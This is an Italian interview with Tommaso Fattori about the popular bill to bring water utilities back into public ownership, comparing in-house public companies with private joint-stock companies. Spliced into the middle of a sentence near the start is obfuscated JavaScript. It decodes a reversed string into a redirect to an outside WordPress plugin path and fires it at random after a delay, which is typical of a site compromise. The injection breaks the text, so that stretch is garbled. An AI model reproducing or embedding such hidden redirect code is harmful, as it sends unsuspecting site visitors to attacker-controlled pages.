Infiltrazioni pericolose

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Tommaso Fattori è tra i promotori della legge popolare per la ripubblicizzazione dell’acqua. Abbiamo parlato con lui per cercare di capire pro e contro della gestione pubblica o privata dei beni comuni come l’acqua.
Chi difende la trasformazione degli acquedotti in società per azioni (SpA) sostiene che solo così si possa dare efficienza operativa ad attività che, restano bloccate dalle pastoie burocratiche.
I politici, di destra e di sinistra, abdicano a favore del privato invece di lavorare per rendere più efficienti le aziende pubbliche. Il problema è più sottile: c’è un preciso attacco ai beni comuni. Purtroppo si vuole accomunare l’acqua al resto delle merci, indirizz (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando le pubbliche amministrazioni verso la scelta delle SpA. Nella “Proposta di Legge Popolare per la Ri-pubblicizzazione dell’Acqua” viene proposta una gestione “in house providing”. Si tratta di una forma organizzativa regolata da una sentenza della Corte di Giustizia Europea. Con la scelta ‘in house’ l’ente pubblico locale non deve ricorrere alla gara per affidare il servizio idrico, potendo provvedere in casa (‘in house’ è un’espressione inglese che significa ‘in casa’) con il proprio personale o con aziende collegate, che si comportano come aziende dipendenti direttamente dal comune o degli enti locali. Da un punto di vista strettamente formale si tratta di un soggetto del diritto privato, ma in realtà è una società che deve operare come un ufficio o un’azienda alle dirette dipendenze dell’ente pubblico.
Se queste società in house fanno capo al diritto privato, come si può sostenere che danno ai cittadini più garanzie rispetto alle normali SpA?
Perché le quote azionarie devono essere interamente detenute dagli enti pubblici di riferimento, e non sono cedibili. Le azioni non possono essere quotate in borsa, dunque non subiscono i rischiosi ricatti dell’andamento borsistico. Poi, gli enti pubblici possono esercitare su queste società un controllo, come avviene su qualsiasi ufficio pubblico. Infine, le società in house possono operare unicamente in ambito locale: sono dunque loro precluse profitti e speculazioni all’estero. Questi vincoli tutelano i cittadini e il bene comune, senza rinunciare a una gestione moderna, efficace ed efficiente del servizio. In Italia dominano gli affidamenti in house. è quello che avviene a Torino, e quello che Petrella sta cercando di fare in Puglia.
Parliamo degli investimenti necessari. Si parla di cifre astronomiche, che soltanto il privato sarebbe in grado di mettere a disposizione data la povertà delle finanze pubbliche. è così?
Le multinazionali e gli altri soggetti privati pretendono almeno il 7% in cambio dei propri capitali. Questa “remunerazione media” dei soggetti privati è più del doppio di quello che oggi chiede una qualsiasi banca, specie quando tratta con un soggetto importante come può essere l’ente pubblico. Se un ente pubblico può avere soldi in prestito a metà prezzo, come si può sostenere che alla comunità conviene utilizzare il denaro delle avide multinazionali? Acea imporrà una remunerazione e una serie di condizioni con l’obiettivo del profitto e della spartizione dell’utile. Il fine della SpA è industrialistico, e si scontra strutturalmente con il fine pubblico, che è quello del bene comune, della partecipazione e della trasparenza. Ogni forma privatistica, inclusa quella della società mista a maggioranza pubblica, tende ad escludere la democrazia.
Tuttavia la gestione pubblica non è sempre stata sinonimo di trasparenza o partecipazione…
La forma pubblica non è “automaticamente democratica”. Lo è potenzialmente, può venire progressivamente democratizzata. La forma privatistica invece esclude la partecipazione. Il mercato non prevede la democrazia e tende a rispondere solo alla borsa e agli azionisti. La proposta di legge popolare per la ri-pubblicizzazione dell’acquedotto ribadsce la rilevanza di tutta una serie di organi che devono venire coinvolti nelle scelte d’indirizzo: i consigli comunali elettivi, le consulte dell’acqua (veri e propri parlamenti di cittadini-utenti). Il tentativo è quello di dare sostanza alla democrazia, realizzandone forme più dirette, consci dei limiti del principio della delega.

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